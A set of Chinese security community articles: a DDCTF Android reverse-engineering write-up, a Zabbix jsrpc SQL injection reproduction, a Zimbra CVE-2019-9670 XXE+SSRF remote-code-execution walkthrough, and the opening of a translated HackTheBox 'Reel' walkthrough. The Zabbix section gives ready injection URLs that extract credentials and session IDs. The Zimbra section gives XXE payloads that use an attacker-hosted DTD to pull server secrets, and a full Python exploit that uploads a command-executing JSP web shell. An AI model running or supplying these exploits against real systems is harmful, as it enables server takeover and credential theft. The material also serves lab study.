v24指的是r2，x86和ARM中的除法函数都是会同时计算出商和余数的，并且余数通常会被放在备选寄存器中，商视操作数长度有时存在返回值寄存器中，有时被拆分成高低两段存在两个寄存器中
而IDA反编译时通常仅关注调用约定中的返回值寄存器，导致这里的v24不知来由
说了这么多，还是动调最方便啦~
因此这里要求big_n整除input_n
继续往下走
v27=1 => v25=0/HIDWORD(input_n)<v26
这里的v26是r1，即商的高32位
v25=0则要求input_n<商的低32位
综合考虑就是取该数的较小因子了
将其进行大整数分解，得到两个因子
> 1499419583<10> · 3927794789<10>
取较小的1499419583，重复3.1遍后异或数组即可得到flag
a = [73, 90, 75, 10, 67, 92, 65, 80, 65, 75, 85, 93, 67, 13, 70, 64, 65, 1, 92, 6, 1, 89, 91, 14, 90, 82, 65, 93, 8, 94, 6]
r = "1499419583"*4
for i in range(31):
print(chr(ord(r[i])^a[i]), end='')
### **0x02 Hello Baby Dex**
jeb反编译发现不少第三方库，其中一个com.meituan.robust包搜索一下可以发现是美团开发的一个开源热更新框架
参照使用教程可以发现补丁的位置在PatchExecutor类调用的PatchManipulateImp类中的fetchPatchList方法中调用的setLocalPath方法处设置
,于是跟着去找
`cn.chaitin.geektan.crackme.PatchManipulateImp.fetchPatchList`方法
这里可以发现读取了GeekTan.BMP的数据
setLocalPath在下面一点儿，同样也是将GeekTan设置为文件路径
于是去assets文件夹中把这个文件扒出来，查看发现是zip结构，解压得到DEX文件
（话是这么说，能塞私货的地方其实也只有assets文件夹了。所以作为题目而言看到热补丁就可以直接去这找，反正又不可能联网更新233）
处理dex文件，用jeb/dex2jar+jd-gui都可以
再往下分析补丁，大部分教程的方法都是借助插件直接生成Patch.jar，而不提及具体内部原理，因此要分析补丁还是要找原理解析的文章
> PatchExecutor开启一个子线程，通过指定的路径去读patch文件的jar包，patch文件可以为多个，每个patch文件对应一个
> DexClassLoader 去加载，每个patch文件中存在PatchInfoImp，通过遍历其中的类信息进而反射修改其中
> ChangeQuickRedirect 对象的值。
在补丁中的PatchInfoImp中找到这样两句，说明了补丁的类分别是MainActivity和MainAcitivity$1
localArrayList.add(new PatchedClassInfo("cn.chaitin.geektan.crackme.MainActivity", "cn.chaitin.geektan.crackme.MainActivityPatchControl"));
localArrayList.add(new PatchedClassInfo("cn.chaitin.geektan.crackme.MainActivity$1", "cn.chaitin.geektan.crackme.MainActivity$1PatchControl"));
PatchControl类用来控制Patch，没有具体方法，可以忽略
两个Patch类中则是关键的更新方法
首先是MainActivity$1中的onClick方法
发现有很多`EnhancedRobustUtils.invokeReflectMethod`
搜索一下可以发现解释
>
> EnhancedRobustUtils是一个对反射的封装类，可以反射指定对象的指定字段和方法。比如说((Integer)EnhancedRobustUtils.invokeReflectMethod(“b”,
> var5, var6, new Class[]{Integer.TYPE}, SampleClass.class))
> 就是反射var5对象的b方法，方法的参数类型是Integer，参数的具体值是var6。
整理一下大量的反射方法，发现整个逻辑就是构造一个String，将”DDCTF{“、Joseph(3, 4)、Joseph(5,
6)、”}”四个字符串连接起来，最后通过equals与输入比较 。
由于flag明文出现在内存中，可以操作的方法非常多
Hook啊、Patchsmali代码打log啊、动态调试啊等等
这个题目有签名验证，所以Patch相对要麻烦一些
Hook也是常规操作了，不赘述
动态调试在没有反调的情况下最简单233，虚拟机跑起来，下个断就能看到
Joseph也被打了补丁，反射方法看起来太累，扫了一遍都是add，就不详细分析了。Robust的各个方法介绍和原理在https://juejin.im/post/58e4ce652f301e006227ab40有比较详细的说明，包括xxPatch类，xxPatchControl类的作用等等。
### **0x03 Differ-Hellman**
跟第一题一样，JAVA层没有任何东西，直接调用StringFromJNI
不过这次没啥垃圾代码，开头一个跟第一题一样的basic_string构造
直接通过str2ll转成了整数
IDA的反编译对于这种r0和r1两个返回值的就不太友善
直接看汇编就很清晰，低32位R0放到R4中，高32位R1放到R5中
这里的>>31实际上应该是取高1-33位的意思，IDA会把两个32位寄存器合并成一个变量来考虑，包括i, v11, v14, v10等等
所以循环其实是当i==n时退出
另一方面，v11的实际寄存器是r2，也就是divmod的余数，或者从mod_residual的命名来看也可以猜出与之对比的v11应该是余数
然后v14=v11<<1（高低位复合起来看）
也就是说不断对v14*2，每次模p，余数再赋给v14，循环input次以后将余数与mod_residual比较，相等则通过
再整理一下，根据同余定理，可以直接导出
2^input % 0xB49487B06AA40 == 0x1d026744b3680
爆破input，得到208603
### **0x04 ECC**
反编译发现使用的第三方包被混淆过，包名和方法名完全无法辨认
反编译发现使用的第三方包被混淆过，包名和方法名完全无法辨认
主函数很简单
根据题目和字符串”secp256k1″可以猜到是ECC椭圆曲线加密算法
按照题目的连接去学了一波ECC，大概了解了公私钥的生成方法
这里是在secp256k1曲线上把输入作为私钥生成公钥的两个数，然后拼接起来并hex_decode与this.m进行对比
ECC作为一种安全的加密算法显然不可能有从公钥反推私钥的攻击方法，因此只可能爆破了,问题在于怎么爆破?
既然知道它是ECC，曲线也已知了，那么爆破用C++当然是最快的
找了一下午的实现，大多数都是随机生成的密钥对，最后好不容易找到一个给定私钥生成公钥的，结果跑了一下发现跟动调得到的生成结果不同，也就意味着算法不同……OTZ血崩
后来用了下python的ECC库，生成的公钥跟本程序也不一样
纠结了很久，尝试动调、逆整个程序，找到哪里不同，结果因为变量名混淆导致根本不清楚自己跟到哪里去了233333
后来想着直接导出反编译的代码和库去运行，结果因为包名和方法名混淆后相同，java编译器辨认不清而作罢
最后翻到某一个方法的时候偶然发现
抛出异常的字符串真是天使
拿着这个去谷歌，终于找到了第三方库`bouncycastle`
还好这库是开源的，在github一个一个类根据字符串去比对，最后完全还原整个函数调用过程，一运行发现公钥得到的两个数还是不同，心态爆炸
突然发现IDE给了提示，这个函数被废弃了
于是找到getXCoord，结果终于相同
开始爆破，安心睡觉
第二天起来发现结果43458080
package me.company;
import java.math.BigInteger;
import java.security.spec.ECParameterSpec;
//import java.security.spec.ECPoint;
import java.security.spec.ECPrivateKeySpec;
import java.security.spec.ECPublicKeySpec;
import org.bouncycastle.asn1.nist.NISTNamedCurves;
import org.bouncycastle.asn1.x9.X962NamedCurves;
import org.bouncycastle.asn1.x9.X9ECParameters;
import org.bouncycastle.crypto.ec.CustomNamedCurves;
import org.bouncycastle.jce.spec.ECNamedCurveParameterSpec;
import org.bouncycastle.asn1.x9.ECNamedCurveTable;
import org.bouncycastle.math.ec.ECPoint;
import org.bouncycastle.asn1.sec.SECNamedCurves;
public class Main {
public static void main(String[] args)
{
long n = 43450000;
while (true) {
if (c(n)) {
break;
}
else{
n++;
if(n%10000==0)System.out.println(n);
}
}
System.out.println("find it");
System.out.println(n);
// 43458080
}
public static boolean c(long i)
{
String m = "00AF576186553CC4B9224B738D89162F723BCFBF589CEF072A2C0ADA7B3443B5DC21D75144B89C87E3AC0BE030A1F5CE90E86F635D3E86271FB71375F5F581E9A2";
//getParameterSpec("secp256k1").;
String input = String.valueOf(i);
BigInteger test = new BigInteger(input.getBytes());
//BigInteger test = new BigInteger("1");
//System.out.println(test);
X9ECParameters ecP = SECNamedCurves.getByName("secp256k1");
ECPoint g = ecP.getG();
//System.out.println(g);
ECPoint p = g .multiply(test);
p.getX();
BigInteger x = p.getXCoord().toBigInteger();
BigInteger y = p.getYCoord().toBigInteger();
//System.out.println(x);
//System.out.println(y);
byte[] v3 = x.toByteArray();
byte[] v4 = y.toByteArray();
byte[] v5 = new byte[v3.length + v4.length];
int v0_3;
for(v0_3 = 0; v0_3 < v5.length; ++v0_3) {
byte v2_1 = v0_3 < v3.length ? v3[v0_3] : v4[v0_3 - v3.length];
v5[v0_3] = v2_1;
}
StringBuilder v2_2 = new StringBuilder();
int v3_1 = v5.length;
for(v0_3 = 0; v0_3 < v3_1; ++v0_3) {
v2_2.append(String.format("%02X", Byte.valueOf(v5[v0_3])));
}
return v2_2.toString().equals(m);
}
}
参考BinCrack的时候发现他的方法要快很多很多
在apk文件中有一个org文件夹露出了端倪
搜索”spongycastle”同样可以找到bouncycastle库
### **0x05 破解秘钥**
JAVA层又啥都没有，直接调CtfLib类中的native函数validate
so的函数列表中没这玩意儿，显然是动态注册的
在JNI_OnLoad中找到
(*v3)->RegisterNatives)(v3, v4, off_5F358004, 1) < 0 )
即这个结构体
(方法名, 类, 函数地址)
进去反编译，整个结构看起来很简单
input接到以后直接拿下来到最后与某个数组异或比较
问题就是这个数组怎么生成的了233
静态分析实在搞不来，认输orz
sha256的表、读取了libc的几个函数头部还有各种乱七八糟的操作，太复杂了 _(:з」∠)_
动态调试的时候注意有两处反调
`sub_3c54`
这里读取了本进程的status，利用了”TracerPid:t0″这个字符串来取SHA256表的值来异或 ，当它读到的时候手动更改内存即可
还有一处`sub_3a6c`，一样是利用了status中的”TracerPid”字段
BinCrack师傅是通过自己魔改的内核直接使所有status中的TracerPid都显示0从而直接过反调，不过有一个弊端就是如果程序通过ptrace
ME来检查
将会发现这点问题
在52的一篇精华（https://www.52pojie.cn/thread-733981-1-1.html）中有师傅们的教程和讨论
。一般来说Hook也是可以解决这个反调试的，不过这个程序有自校验读取libc，所以Hook并不可行。
两处简单的反调修改内存通过以后，Dump出两个异或的数组即可得到flag
纯做题角度而言这题应该算是最简单的，虽然算法比较恐怖但是最终与输入交互的形式比较简单，存在一条很近的捷径 。
**本周 安卓篇的writeup到此结束啦，下周发** **杂项篇** **writeup** **哦~**
**比赛平台地址：http://ddctf.didichuxing.com** | 社区文章 |
## 1 前言
Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client
架构。可用于监视各种网络服务、服务器和网络机器等状态。本着其开源、安装简单等特点被广泛使用。
但zabbix 2.2.x,
3.0.0-3.0.3版本存在SQL注入漏洞，攻击者无需授权登陆即可登陆zabbix管理系统，进入后台后script等功能直接获取zabbix服务器的操作系统权限。最近复现了这个漏洞，彻底搞懂了如何利用zabbix漏洞进入后台直到getshell。这里就来记录下，小白篇，大牛请绕过。
## 2 安装
**环境：centos6.5**
PHP >= 5.4 (CentOS6默认为5.3.3，需更新)
curl >= 7.20 (如需支持SMTP认证，需更新)
**安装版本zabbix3.0**
关闭selinux
修改/etc/sysconfig/selinux
将SELINUX=enforcing，改为SELINUX=disabled然后重启
查看状态：getenforce
安装
rpm -ivh http://dev.mysql.com/get/mysql-community-release-el6-5.noarch.rpm
yum install mysql-server -y #此过程会因为网路问题偏慢，请耐心等待
配置
vim /etc/my.cnf
[mysqld]
innodb_file_per_table
启动
service mysqld start
设置root密码
mysql_secure_installation
Enter current password for root (enter for none):
Set root password? [Y/n]
Remove anonymous users? [Y/n]
Disallow root login remotely? [Y/n]
Remove test database and access to it? [Y/n]
Reload privilege tables now? [Y/n]
创建zabbix数据库
mysql -uroot -p
mysql> CREATE DATABASE zabbix CHARACTER SET utf8 COLLATE utf8_bin;
mysql> GRANT ALL PRIVILEGES ON zabbix.* TO zabbix@localhost IDENTIFIED BY 'zabbix';
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| zabbix |
+--------------------+
迁出RPM安装包
git clone https://github.com/zabbixcn/zabbix3.0-rpm.git
cd zabbix3.0-rpm/RPMS
yum install zabbix-web-mysql-3.0.0-1.el6.noarch.rpm zabbix-web-3.0.0-1.el6.noarch.rpm
安装软件源
rpm -ivh http://repo.webtatic.com/yum/el6/latest.rpm
安装PHP 5.6
yum install httpd php56w php56w-mysql php56w-gd php56w-imap php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mcrypt php56w-mbstring php56w-devel php56w-pecl-memcached php56w-common php56w-pdo php56w-cli php56w-pecl-memcache php56w-bcmath php56w-fpm
安装curl
git clone https://github.com/zabbixcn/curl-rpm
cd curl-rpm/RPMS
yum install curl-7.29.0-25.el6.x86_64.rpm libcurl-7.29.0-25.el6.x86_64.rpm libcurl-devel-7.29.0-25.el6.x86_64.rpm
安装Zabbix-Server
yum -y install http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm
配置数据库连接信息
vi /etc/zabbix/zabbix_server.conf
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix
启动Zabbix-Server
/etc/init.d/zabbix-server start
启动Apache
/etc/init.d/httpd start
安装zabbix-agent源码
rpm -ivh http://repo.zabbix.com/zabbix/2.4/rhel/6/x86_64/zabbix-release-2.4-1.el6.noarch.rpm
安装zabbix客户端
yum install zabbix-agent -y
启动服务
service zabbix-agent start
chkconfig zabbix-agent on
最后浏览器访问<http://IP/zabbix进行配置即可。>
## 3 漏洞利用
**测试环境：**
攻击机win7 ip:192.168.10.138
靶机centos6.5 ip:192.168.10.131
攻击机已知靶机ip，且靶机系统未关闭默认开启guest账户登陆。
在攻击机访问的zabbix的地址后面加上如下url：
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
输出结果，若包含：You have an error in your SQL syntax;表示漏洞存在。
**实操：**
zabbix
默认账户Admin密码zabbix，可以先尝试一波弱口令可能有意外收获。如果不行可以利用jsrpc的profileIdx2参数sql注入，具体操作如下：
* 获取用户名
jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
* 获取密码
jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
* 获取sessionid
http://192.168.10.131/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
用户名密码及sessionid值都已得到，可以先对密码md5解密，解密成功可直接进入后台。解密不成功可以用sessionid值进行Cookie欺骗替换zbx_sessionid即可成功以administrator登陆。这里利用Cookie欺骗进行测试，经过御剑扫描发现setup.php页面，但是没有权限登陆。
我们把这个页面的zbx_sessionid替换成注入出来的sessionid值,刷新后即可看到安装页面。
此时再次访问<http://192.168.10.131/zabbix/，即可成功进入后台。>
接下来我们尝试利用后台script功能获取其操作系统权限。
首先在Administration页面的scrpit功能栏创建script如下：
然后重点在于找触发点，找到触发点才能执行。方法很多，这里拿常用的举例。
执行成功后即可getshell。
ps：如果执行脚本报错Remote commands are not
enabled需要在靶机的配置文件zabbix_agentd.conf中添加下面语句，开启对远程命令的支持，添加完成后重启下服务即可。
EnableRemoteCommands = 1
## 4 修复建议
1.更新到最新版本
2.禁用guest登陆功能
3.禁用远程命令 | 社区文章 |
## 环境搭建
首先准备个ubantu 14.04服务器，换个更新源，更新下
安装辅助包，执行以下命令来安装相应的包
apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget
配置hostname和DNS服务器
vi /etc/hostname
更改hostname为自己的域名，例如mail.test.com
vi /etc/hosts 添加如下代码
192.168.37.137(本机IP) mail.test.com mail
vi /etc/dnsmasq.conf 配置如下
server=192.168.37.137
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1
配置完成后重启电脑，sudo reboot
我这里是把它放在了519行，不过我感觉放哪儿都可以吧，2333
我已经提前下载好了Zimbra8.5.0版本，直接用finalshell托上去就行
也可使用命令下载8.6.0版本
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
cd进去之后执行./install然后一路按y，可能会报错
问题不大，删了就行
apt-get remove postfix
这里不需要zimbra-dnscache，因为我们上边使用的是dnsmasq，所以不需要此包
之后一路按y即可，安装可能需要些时间
可能会提示配置MX记录，no即可
DNS ERROR resolving MX for mail.test.com
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] no
带星号的为必填，设置一下就OK
******* +Admin Password UNSET
设置好密码之后选25填写许可证，这里随便个/etc/passwd就行
Enter the name of the file that contains the license: /etc/passwd
*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.38577]
Saving config in /opt/zimbra/config.38577...done.
The system will be modified - continue? [No] yes
如果期间报错，直接回车即可
使用su - zimbra命令切换用户
zmcontrol status查看zimbra服务器状态
访问IP:7071端口，跳转zimbra管理页面
不想搭环境可以下载我已经准备好的环境
下载地址<https://cloud.189.cn/t/RrqABbN7jIFf> （访问码：i1c0）
解压zip文件
直接VMware导入ovf文件
sunian 123qwe 进行登录
sudo su
123qwe 进行登录root账户
su - zimbra 切换账户
zmcontrol status查看zimbra服务器状态
为Running说明正常，这时候ip addr查看IP
访问IP:7071自动跳转到zimbra管理页面
<https://IP:7071/zimbraAdmin/>
## 利用XXE+SSRF组合拳RCE复现
### 第一步，测试是否存在CVE-2019-9670 XXE漏洞
POST请求/Autodiscover/Autodiscover.xml
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
### 第二步，读取zimbra用户账号密码
成功读到用户密码，说明XXE验证成功
接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件，需要加上CDATA标签才能作为文本读取，由于XXE不能内部实体进行拼接，所以此处需要使用外部dtd：
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
POST请求/Autodiscover/Autodiscover.xml
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
### 第三步，利用获取到的密码获取低权限token
POST请求/service/soap或/service/admin/soap
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>上一步得到密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
### 第四步，利用SSRF漏洞通过proxy接口，访问admin的soap接口获取高权限Token
POST请求/service/proxy?target=<https://127.0.0.1:7071/service/admin/soap>
我这里可能环境有问题，没有使用SSRF直接请求/service/admin/soap即可获取高权限token
注意：
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN，值为上面请求所获取的token
发送同上Body内容，但是AuthRequest的xmlns要改为：urn:zimbraAdmin，否则获取的还是普通权限的Token
### 第五步，利用高权限token传文件getshell
import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)
虽然执行报错了，但是不影响
shell地址：<https://192.168.37.137:7071/downloads/sunian.jsp>
### exp的编写
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#利用request模块来发包和接受数据，sys模块用来传参，并删除最右侧的/斜杠
filename = "sunian.jsp"
fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
#fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
#可使用第11行bypass
print(base_url)
#请自己在公网放置dtd文件
dtd_url="http://VPS-IP/exp.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)
#XXE stage
headers = {
"Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
print("don't have xxe")
exit()
#low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
#print(username)
#print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
#print("[*] Get Low Privilege Auth Token")
#72行路径可能为/service/soap
r=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
#print("[*] Get Admin Auth Token By SSRF")
#r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
#若86行无法使用请使用85行
admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)
f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token
}
print("[*] 木马地址")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print(base_url+"/downloads/"+filename)
#print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("[*] 管理员cookie")
print(headers['Cookie'])
演示exp运行以及不使用cookie访问木马地址的情况
参考链接
<https://www.jianshu.com/p/722bc70ff426>
<https://blog.csdn.net/weixin_40709439/article/details/90136596>
<https://blog.csdn.net/weixin_41732430/article/details/89054473> | 社区文章 |
原文地址：<https://medium.com/bugbountywriteup/reel-a-bloodhound-powersploit-active-directory-hackthebox-walkthrough-3745269b1a16>
翻译人：agostop
## 摘要
Reel是一个运行着FTP服务，允许匿名访问的Windows主机，它被用来访问系统上的文件以枚举用户的邮件并确定用户正等待着通过邮件接收一个.rtf文件。利用[CVE-2017-0199](https://cvedetails.com/cve/CVE-2017-0199/)生成一个恶意的.rtf文件然后通过Reel的SMTP服务器发送给用户，利用这个漏洞授予用户对Reel的访问权限，在.xml文档中发现了加密的用户凭证，解密之后可以通过ssh获取持久性连接。
利用在主机上的BloodHound活动目录审计结果逐步提升在主机上的权限，使用PowerView(现在是PowerSploit的一部分)可以利用Active
Directory的配置访问另一个用户帐户，该用户帐户具有对包含管理员帐户凭据的文件的读访问权。
## 探查
首先我在这个主机上使用nmap扫描检查服务版本，并且在前1000个最常用的端口上运行默认脚本：
nmap -sV -sC 10.10.10.77
Starting Nmap 7.60 ( https://nmap.org ) at 2018-07-19 11:38 EDT
Nmap scan report for 10.10.10.77
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18 12:19AM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (EdDSA)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequest, DNSVersionBindReq, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
|_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.60%I=7%D=7/19%Time=5B50B0A4%P=x86_64-pc-linux-gnu%r(NULL
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20S
--REDACTED FOR BREVITY--
SF:e\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\
SF:x20Bad\x20sequence\x20of\x20commands\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.99 seconds
它返回了3个服务:端口21上的FTP服务、端口22上的SSH服务和端口25上的SMTP服务。FTP允许匿名访问，这是下一步枚举工作的逻辑前提：
ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
